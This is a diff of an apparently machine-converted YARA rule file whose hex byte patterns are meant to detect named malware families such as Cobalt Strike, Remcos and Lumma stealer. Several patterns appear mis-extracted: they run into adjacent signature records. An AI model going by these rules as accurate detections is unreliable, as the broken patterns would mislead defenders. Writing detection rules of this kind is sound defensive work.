00 01 00 07 01 8d a4 24 08 00 00 00 01 00 07 01 8d a4 24 0c 00 00 00 01 00 07 01 8d a4 24 10 00 00 00 01 00 07 01 8d a4 24 14 00 00 00 01 00 07 01 8d a4 24 18 00 00 00 01 00 07 01 8d a4 24 1c 00 00 00 01 00 07 01 8d a4 24 20 00 00 00 01 00 07 01 8d a4 24 24 00 00 00 00 00 78 84 00 } //26967 + condition: + ((#a_54_0 & 1)*18467+(#a_37_1 & 1)*12597+(#a_33_2 & 1)*26967) >=6 + +} +rule _InfrastructureShared_9231{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " @@ -92788,12 +98526,12 @@ rule _InfrastructureShared_8701{ $a_24_2 = {00 00 00 01 00 07 01 8d a4 24 20 00 00 00 01 00 07 01 8d a4 24 24 00 00 00 00 00 78 84 00 00 0a 00 0a 00 01 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 42 44 53 21 4d 54 42 00 0a 00 53 02 70 03 09 18 6f 90 01 03 0a 28 90 01 03 0a 28 90 01 03 0a 04 07 6f 90 01 03 0a 28 90 01 03 0a 6a 61 b7 28 90 01 03 0a 28 90 01 03 0a 13 04 06 11 04 6f 90 01 03 0a 26 07 04 6f 90 01 03 0a 17 da 33 04 16 0b 2b 04 07 17 d6 0b 09 18 d6 0d 09 08 31 90 00 00 00 78 } //-29439 $a_41_5 = {46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 43 6f 62 61 6c 74 73 74 72 69 6b 65 2e 48 4b 21 4d 54 42 00 } //8448 $a_03_6 = {8b c2 2b 4b 04 83 f1 01 0f af c2 0f af 4b 04 ff c2 89 4b 04 48 8b 0d ?? ?? ?? ?? 01 81 ?? ?? ?? ?? 48 8b 05 ?? ?? ?? ?? 8b 48 ?? 81 f1 ?? ?? ?? ?? 29 8b ?? ?? ?? ?? b9 ?? ?? ?? ?? 48 8b 05 ?? ?? ?? ?? 2b 88 ?? ?? ?? ?? 01 8b ?? ?? ?? ?? 3b 53 ?? 76 87 } //10 - $a_84_7 = {00 0a 00 0a 00 01 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 4a 61 6c 61 70 65 6e 6f 2e 50 47 4a 21 4d 54 42 00 0a 00 55 03 02 02 7b 05 00 00 04 08 9a 7d 06 00 00 04 02 03 28 90 01 01 00 00 06 0d 02 7b 09 00 00 04 09 72 01 00 00 70 6f 90 01 01 00 00 0a 0b 07 72 01 00 00 70 28 90 01 01 00 00 0a 2c 07 07 28 90 01 01 00 00 2b 2a 08 17 58 0c 08 02 } //0 + $a_84_7 = {00 0a 00 0a 00 01 00 21 23 54 45 4c 50 45 52 3a 48 61 63 6b 54 6f 6f 6c 3a 57 69 6e 33 32 2f 4b 47 36 34 2e 45 00 0a 00 59 03 69 6e 69 74 54 68 72 65 61 64 00 90 02 08 2e 64 6c 6c 00 90 02 04 47 65 74 4d 65 73 73 61 67 65 57 00 90 02 04 54 72 61 6e 73 6c 61 74 65 4d 65 73 73 61 67 65 00 90 02 04 44 69 73 70 61 74 63 68 4d 65 73 73 61 67 65 57 00 90 02 04 55 } //0 condition: ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*0+(#a_24_2 & 1)*-29439+(#a_41_5 & 1)*8448+(#a_03_6 & 1)*10+(#a_84_7 & 1)*0) >=8 } -rule _InfrastructureShared_8702{ +rule _InfrastructureShared_9232{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 21 " @@ -92803,7 +98541,7 @@ rule _InfrastructureShared_8702{ ((#a_46_0 & 1)*16675) >=10 } -rule _InfrastructureShared_8703{ +rule _InfrastructureShared_9233{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 21 " @@ -92813,17 +98551,7 @@ rule _InfrastructureShared_8703{ ((#a_46_0 & 1)*16675) >=10 } -rule _InfrastructureShared_8704{ - meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 21 " - - strings : - $a_4c_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 4a 61 6c 61 70 65 6e 6f 2e 50 47 4a 21 4d 54 42 00 0a 00 55 03 02 02 7b 05 00 00 04 08 9a 7d 06 00 00 04 02 03 28 90 01 01 00 00 06 0d 02 7b 09 00 00 04 09 72 01 00 00 70 } //21539 - condition: - ((#a_4c_0 & 1)*21539) >=10 - -} -rule _InfrastructureShared_8705{ +rule _InfrastructureShared_9234{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 21 " @@ -92833,7 +98561,7 @@ rule _InfrastructureShared_8705{ ((#a_4c_0 & 1)*21539) >=10 } -rule _InfrastructureShared_8706{ +rule _InfrastructureShared_9235{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 06 00 21 " @@ -92848,7 +98576,7 @@ rule _InfrastructureShared_8706{ ((#a_54_0 & 1)*18467+(#a_61_1 & 1)*21618+(#a_00_2 & 1)*15881+(#a_06_3 & 1)*5669+(#a_65_4 & 1)*385+(#a_20_5 & 1)*-28407) >=10 } -rule _InfrastructureShared_8707{ +rule _InfrastructureShared_9236{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,15 00 15 00 03 00 21 " @@ -92860,7 +98588,7 @@ rule _InfrastructureShared_8707{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*23360+(#a_00_2 & 1)*0) >=21 } -rule _InfrastructureShared_8708{ +rule _InfrastructureShared_9237{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,16 00 16 00 04 00 21 " @@ -92873,7 +98601,7 @@ rule _InfrastructureShared_8708{ ((#a_46_0 & 1)*16675+(#a_16_1 & 1)*783+(#a_84_2 & 1)*0+(#a_01_3 & 1)*25449) >=22 } -rule _InfrastructureShared_8709{ +rule _InfrastructureShared_9238{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,22 00 22 00 05 00 21 " @@ -92887,7 +98615,7 @@ rule _InfrastructureShared_8709{ ((#a_46_0 & 1)*16675+(#a_69_1 & 1)*21761+(#a_00_2 & 1)*8806+(#a_4d_3 & 1)*29798+(#a_6d_4 & 1)*28749) >=34 } -rule _InfrastructureShared_8710{ +rule _InfrastructureShared_9239{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,28 00 28 00 04 00 21 " @@ -92899,7 +98627,7 @@ rule _InfrastructureShared_8710{ ((#a_4e_0 & 1)*20259+(#a_70_1 & 1)*8308+(#a_00_2 & 1)*25455) >=40 } -rule _InfrastructureShared_8711{ +rule _InfrastructureShared_9240{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,64 00 64 00 02 00 21 " @@ -92909,7 +98637,7 @@ rule _InfrastructureShared_8711{ ((#a_54_0 & 1)*18467) >=100 } -rule _InfrastructureShared_8712{ +rule _InfrastructureShared_9241{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,ffffff90 01 ffffff90 01 04 00 21 " @@ -92921,7 +98649,7 @@ rule _InfrastructureShared_8712{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*110+(#a_69_3 & 1)*12082) >=400 } -rule _InfrastructureShared_8713{ +rule _InfrastructureShared_9242{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -92931,7 +98659,7 @@ rule _InfrastructureShared_8713{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_8714{ +rule _InfrastructureShared_9243{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -92941,7 +98669,7 @@ rule _InfrastructureShared_8714{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_8715{ +rule _InfrastructureShared_9244{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -92951,7 +98679,7 @@ rule _InfrastructureShared_8715{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_8716{ +rule _InfrastructureShared_9245{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -92961,7 +98689,7 @@ rule _InfrastructureShared_8716{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_8717{ +rule _InfrastructureShared_9246{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -92971,7 +98699,7 @@ rule _InfrastructureShared_8717{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_8718{ +rule _InfrastructureShared_9247{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -92981,7 +98709,7 @@ rule _InfrastructureShared_8718{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_8719{ +rule _InfrastructureShared_9248{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -92991,7 +98719,7 @@ rule _InfrastructureShared_8719{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_8720{ +rule _InfrastructureShared_9249{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -93001,7 +98729,7 @@ rule _InfrastructureShared_8720{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_8721{ +rule _InfrastructureShared_9250{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -93011,7 +98739,7 @@ rule _InfrastructureShared_8721{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_8722{ +rule _InfrastructureShared_9251{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -93021,7 +98749,7 @@ rule _InfrastructureShared_8722{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_8723{ +rule _InfrastructureShared_9252{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -93031,7 +98759,7 @@ rule _InfrastructureShared_8723{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_8724{ +rule _InfrastructureShared_9253{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -93041,7 +98769,7 @@ rule _InfrastructureShared_8724{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_8725{ +rule _InfrastructureShared_9254{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -93051,7 +98779,7 @@ rule _InfrastructureShared_8725{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_8726{ +rule _InfrastructureShared_9255{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -93061,7 +98789,7 @@ rule _InfrastructureShared_8726{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_8727{ +rule _InfrastructureShared_9256{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -93071,7 +98799,7 @@ rule _InfrastructureShared_8727{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_8728{ +rule _InfrastructureShared_9257{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -93081,7 +98809,7 @@ rule _InfrastructureShared_8728{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_8729{ +rule _InfrastructureShared_9258{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -93091,7 +98819,37 @@ rule _InfrastructureShared_8729{ ((#a_46_0 & 1)*21283) >=1 } -rule _InfrastructureShared_8730{ +rule _InfrastructureShared_9259{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 43 6f 62 61 6c 74 53 74 72 69 6b 65 2e 41 52 21 4d 54 42 00 01 00 52 03 48 89 e5 48 83 ec 30 48 89 4d 10 48 89 55 18 48 8b 45 18 41 b9 90 01 04 41 b8 90 01 04 48 89 c2 } //21539 + condition: + ((#a_4c_0 & 1)*21539) >=1 + +} +rule _InfrastructureShared_9260{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 43 6f 62 61 6c 74 53 74 72 69 6b 65 2e 46 4b 54 21 4d 54 42 00 01 00 51 03 44 8b 5c 24 90 01 01 41 c1 eb 90 01 01 41 81 e3 90 01 04 45 89 db 44 89 da 44 33 0c 91 44 8b } //21539 + condition: + ((#a_4c_0 & 1)*21539) >=1 + +} +rule _InfrastructureShared_9261{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 4c 75 6d 6d 61 63 53 74 65 61 6c 65 72 2e 42 41 21 4d 54 42 00 01 00 51 03 0f b6 c0 01 d0 99 f7 bd 90 01 04 89 d0 88 85 90 01 04 8b 95 90 01 04 8b 45 90 01 01 01 d0 0f } //21539 + condition: + ((#a_4c_0 & 1)*21539) >=1 + +} +rule _InfrastructureShared_9262{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -93102,7 +98860,7 @@ rule _InfrastructureShared_8730{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*25442) >=1 } -rule _InfrastructureShared_8731{ +rule _InfrastructureShared_9263{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -93113,7 +98871,7 @@ rule _InfrastructureShared_8731{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*13107) >=1 } -rule _InfrastructureShared_8732{ +rule _InfrastructureShared_9264{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -93124,7 +98882,7 @@ rule _InfrastructureShared_8732{ ((#a_46_0 & 1)*16675+(#a_39_1 & 1)*12378) >=1 } -rule _InfrastructureShared_8733{ +rule _InfrastructureShared_9265{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -93135,7 +98893,7 @@ rule _InfrastructureShared_8733{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*108) >=1 } -rule _InfrastructureShared_8734{ +rule _InfrastructureShared_9266{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 03 00 21 " @@ -93147,7 +98905,7 @@ rule _InfrastructureShared_8734{ ((#a_54_0 & 1)*18467+(#a_88_1 & 1)*400+(#a_00_2 & 1)*144) >=1 } -rule _InfrastructureShared_8735{ +rule _InfrastructureShared_9267{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 04 00 21 " @@ -93160,7 +98918,7 @@ rule _InfrastructureShared_8735{ ((#a_54_0 & 1)*18467+(#a_e8_1 & 1)*-29716+(#a_08_2 & 1)*-28509+(#a_00_3 & 1)*-13863) >=1 } -rule _InfrastructureShared_8736{ +rule _InfrastructureShared_9268{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 04 00 21 " @@ -93173,7 +98931,7 @@ rule _InfrastructureShared_8736{ ((#a_54_0 & 1)*18467+(#a_10_1 & 1)*-28667+(#a_dd_2 & 1)*656+(#a_02_3 & 1)*1497) >=1 } -rule _InfrastructureShared_8737{ +rule _InfrastructureShared_9269{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 04 00 21 " @@ -93186,7 +98944,7 @@ rule _InfrastructureShared_8737{ ((#a_54_0 & 1)*18467+(#a_90_1 & 1)*-29697+(#a_6e_2 & 1)*25957+(#a_0f_3 & 1)*13071) >=1 } -rule _InfrastructureShared_8738{ +rule _InfrastructureShared_9270{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -93197,7 +98955,7 @@ rule _InfrastructureShared_8738{ ((#a_46_0 & 1)*16675+(#a_75_1 & 1)*-5501) >=2 } -rule _InfrastructureShared_8739{ +rule _InfrastructureShared_9271{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -93208,7 +98966,7 @@ rule _InfrastructureShared_8739{ ((#a_5f_0 & 1)*16931+(#a_00_1 & 1)*114) >=2 } -rule _InfrastructureShared_8740{ +rule _InfrastructureShared_9272{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -93219,7 +98977,7 @@ rule _InfrastructureShared_8740{ ((#a_72_0 & 1)*17955+(#a_35_1 & 1)*17721) >=2 } -rule _InfrastructureShared_8741{ +rule _InfrastructureShared_9273{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -93230,7 +98988,7 @@ rule _InfrastructureShared_8741{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*32) >=2 } -rule _InfrastructureShared_8742{ +rule _InfrastructureShared_9274{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -93241,7 +98999,7 @@ rule _InfrastructureShared_8742{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*1024) >=2 } -rule _InfrastructureShared_8743{ +rule _InfrastructureShared_9275{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -93252,7 +99010,7 @@ rule _InfrastructureShared_8743{ ((#a_54_0 & 1)*18467+(#a_31_1 & 1)*13369) >=2 } -rule _InfrastructureShared_8744{ +rule _InfrastructureShared_9276{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -93263,7 +99021,7 @@ rule _InfrastructureShared_8744{ ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*5631) >=2 } -rule _InfrastructureShared_8745{ +rule _InfrastructureShared_9277{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -93274,7 +99032,7 @@ rule _InfrastructureShared_8745{ ((#a_54_0 & 1)*18467+(#a_6f_1 & 1)*29806) >=2 } -rule _InfrastructureShared_8746{ +rule _InfrastructureShared_9278{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -93285,7 +99043,18 @@ rule _InfrastructureShared_8746{ ((#a_46_0 & 1)*21283+(#a_b9_1 & 1)*400) >=2 } -rule _InfrastructureShared_8747{ +rule _InfrastructureShared_9279{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 43 6f 62 61 6c 74 53 74 72 69 6b 65 2e 48 49 52 21 4d 54 42 00 01 00 15 03 41 39 c0 7e 90 01 01 44 8a 0c 02 44 30 0c 01 48 ff c0 eb 90 00 01 00 38 03 44 0f be 42 90 01 } //21539 + $a_d8_1 = {83 c2 90 01 01 44 0f be 4a 90 01 01 0f be 5a 90 01 01 41 c1 e0 90 01 01 47 8d 04 c8 44 0f be 4a 90 01 01 47 8d 0c 48 44 0f be 42 90 00 00 00 78 85 00 00 02 00 02 00 03 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 42 6c 69 73 74 65 72 2e 45 00 01 00 20 03 65 48 8b 04 25 60 00 00 00 } //19457 + condition: + ((#a_4c_0 & 1)*21539+(#a_d8_1 & 1)*19457) >=2 + +} +rule _InfrastructureShared_9280{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " @@ -93297,7 +99066,7 @@ rule _InfrastructureShared_8747{ ((#a_46_0 & 1)*21283+(#a_41_1 & 1)*400+(#a_41_2 & 1)*13124) >=2 } -rule _InfrastructureShared_8748{ +rule _InfrastructureShared_9281{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " @@ -93309,7 +99078,7 @@ rule _InfrastructureShared_8748{ ((#a_5f_0 & 1)*25635+(#a_00_1 & 1)*46+(#a_00_2 & 1)*31353) >=2 } -rule _InfrastructureShared_8749{ +rule _InfrastructureShared_9282{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 04 00 21 " @@ -93322,20 +99091,20 @@ rule _InfrastructureShared_8749{ ((#a_46_0 & 1)*16675+(#a_64_1 & 1)*26625+(#a_23_2 & 1)*4+(#a_6e_3 & 1)*28484) >=2 } -rule _InfrastructureShared_8750{ +rule _InfrastructureShared_9283{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 04 00 21 " strings : $a_77_0 = {69 3a 48 53 54 52 3a 42 75 6e 64 6c 65 72 3a 42 69 6e 64 45 78 00 01 00 13 01 41 54 4c 3a 44 6f 77 6e 4c 6f 61 64 46 72 61 6d 65 41 45 01 00 11 01 78 78 76 6d 62 6f 78 78 78 68 61 72 64 64 69 73 6b 01 00 20 01 26 69 6e 5f 63 70 75 3d 25 73 26 69 6e 5f 6d 61 63 3d 25 73 26 69 6e 5f 64 69 73 6b 3d 25 73 26 01 00 0d 01 26 64 65 73 63 } //19491 $a_64_1 = {72 6c 3d 00 00 78 85 00 00 03 00 03 00 01 00 21 23 41 4c 46 3a 45 78 70 6c 6f 69 74 3a 57 69 6e 33 32 2f 4c 61 67 70 69 70 65 2e 43 21 64 68 61 00 03 00 57 02 3c 61 73 73 65 6d 62 6c 79 49 64 65 6e 74 69 74 79 20 6e 61 6d 65 3d 90 01 01 2e 2e 5c 2e 2e 5c 2e 2e 5c 2e 2e 5c 90 02 80 74 79 70 } //24434 - $a_01_2 = {01 77 69 6e 33 32 90 01 01 90 02 10 3c 66 69 6c 65 20 6e 61 6d 65 3d 90 01 01 70 72 6e 74 76 70 74 2e 64 6c 6c 90 00 00 00 78 85 00 00 03 00 03 00 03 00 21 23 41 4c 46 3a 48 53 54 52 3a 47 61 6d 61 72 75 65 50 6c 5f 46 47 00 01 00 1f 01 7b 22 73 22 3a 25 6c 75 2c 22 74 22 3a 25 6c 75 2c 22 61 22 3a 22 25 73 22 2c 22 75 22 3a 22 01 00 07 01 2c 22 66 67 22 3a 22 01 00 33 00 83 c4 0c 83 e9 05 c6 00 e9 89 48 01 8d 45 14 50 6a 40 57 } //15717 - $a_85_3 = {74 2b 8b 45 0c 2b c6 83 e8 05 89 46 01 8d 45 14 50 ff 75 14 c6 06 e9 57 56 ff d3 00 00 78 85 00 00 03 00 03 00 03 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 45 43 47 5f 44 69 72 6b 5f 6d 73 6e 70 70 68 6c 70 2e 42 21 64 68 61 00 01 00 0d 01 4d 73 4e 70 70 53 75 70 70 6f 72 74 00 01 00 2a 01 4e 00 50 00 50 00 20 00 54 00 6f 00 6f 00 6c 00 73 00 20 00 48 00 65 00 6c 00 70 00 65 00 72 00 20 00 44 00 4c 00 4c 00 00 00 01 00 0f 01 71 77 65 72 75 74 0d 0a 64 65 6c 20 25 30 00 00 00 78 85 00 00 03 00 03 00 03 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4e 61 6e 6f 62 6f 74 2e 52 54 21 4d 54 42 00 01 } //-170 + $a_01_2 = {01 77 69 6e 33 32 90 01 01 90 02 10 3c 66 69 6c 65 20 6e 61 6d 65 3d 90 01 01 70 72 6e 74 76 70 74 2e 64 6c 6c 90 00 00 00 78 85 00 00 03 00 03 00 02 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 52 65 6d 63 6f 73 2e 41 52 4d 53 21 4d 54 42 00 02 00 49 01 8b 2d 64 a2 45 00 8b 1d b4 a2 45 00 89 74 24 28 89 74 24 10 89 74 24 14 89 74 24 18 be 30 eb 46 00 68 20 eb 46 00 56 ff d5 50 ff d3 68 38 eb 46 00 56 a3 28 5e } //15717 + $a_d5_3 = {ff d3 68 4c eb 46 00 56 a3 1c 5e 47 00 ff d5 01 00 08 01 52 65 6d 63 6f 73 20 76 00 00 78 85 00 00 03 00 03 00 03 00 21 23 41 4c 46 3a 48 53 54 52 3a 47 61 6d 61 72 75 65 50 6c 5f 46 47 00 01 00 1f 01 7b 22 73 22 3a 25 6c 75 2c 22 74 22 3a 25 6c 75 2c 22 61 22 3a 22 25 73 22 2c 22 75 22 3a 22 01 00 07 01 2c 22 66 67 22 3a 22 01 00 33 00 83 c4 0c 83 e9 05 c6 00 e9 89 48 01 8d 45 14 50 6a 40 57 56 ff d3 85 c0 74 2b 8b 45 0c 2b c6 83 e8 05 89 46 01 8d 45 14 50 ff 75 14 c6 06 e9 57 56 ff d3 00 00 78 85 00 00 03 00 03 00 03 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 45 43 47 5f 44 69 72 6b 5f 6d 73 6e 70 70 68 6c 70 2e 42 21 64 68 61 00 01 00 0d 01 4d 73 4e 70 70 53 75 70 70 6f 72 74 00 01 00 2a 01 4e 00 50 00 50 00 20 00 54 00 6f 00 6f 00 6c } //71 condition: - ((#a_77_0 & 1)*19491+(#a_64_1 & 1)*24434+(#a_01_2 & 1)*15717+(#a_85_3 & 1)*-170) >=2 + ((#a_77_0 & 1)*19491+(#a_64_1 & 1)*24434+(#a_01_2 & 1)*15717+(#a_d5_3 & 1)*71) >=2 } -rule _InfrastructureShared_8751{ +rule _InfrastructureShared_9284{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 01 00 21 " @@ -93345,7 +99114,18 @@ rule _InfrastructureShared_8751{ ((#a_46_0 & 1)*16675) >=3 } -rule _InfrastructureShared_8752{ +rule _InfrastructureShared_9285{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 02 00 21 " + + strings : + $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 52 65 6d 63 6f 73 2e 41 52 4d 53 21 4d 54 42 00 02 00 49 01 8b 2d 64 a2 45 00 8b 1d b4 a2 45 00 89 74 24 28 89 74 24 10 89 74 24 14 89 74 24 18 be 30 eb 46 00 68 20 eb 46 00 56 ff d5 50 ff d3 68 38 eb 46 00 } //18467 + $a_5e_1 = {00 ff d5 50 ff d3 68 4c eb 46 00 56 a3 1c 5e 47 00 ff d5 01 00 08 01 52 65 6d 63 6f 73 20 76 00 00 78 85 00 00 03 00 03 } //-23722 + condition: + ((#a_54_0 & 1)*18467+(#a_5e_1 & 1)*-23722) >=3 + +} +rule _InfrastructureShared_9286{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -93357,7 +99137,7 @@ rule _InfrastructureShared_8752{ ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*-30231+(#a_69_2 & 1)*24391) >=3 } -rule _InfrastructureShared_8753{ +rule _InfrastructureShared_9287{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -93369,7 +99149,7 @@ rule _InfrastructureShared_8753{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*32+(#a_6f_2 & 1)*28526) >=3 } -rule _InfrastructureShared_8754{ +rule _InfrastructureShared_9288{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -93381,7 +99161,7 @@ rule _InfrastructureShared_8754{ ((#a_46_0 & 1)*16675+(#a_33_1 & 1)*28791+(#a_4f_2 & 1)*25697) >=3 } -rule _InfrastructureShared_8755{ +rule _InfrastructureShared_9289{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -93393,7 +99173,7 @@ rule _InfrastructureShared_8755{ ((#a_46_0 & 1)*16675+(#a_71_1 & 1)*30049+(#a_3b_2 & 1)*16961) >=3 } -rule _InfrastructureShared_8756{ +rule _InfrastructureShared_9290{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -93405,7 +99185,7 @@ rule _InfrastructureShared_8756{ ((#a_46_0 & 1)*16675+(#a_80_1 & 1)*-30207+(#a_19_2 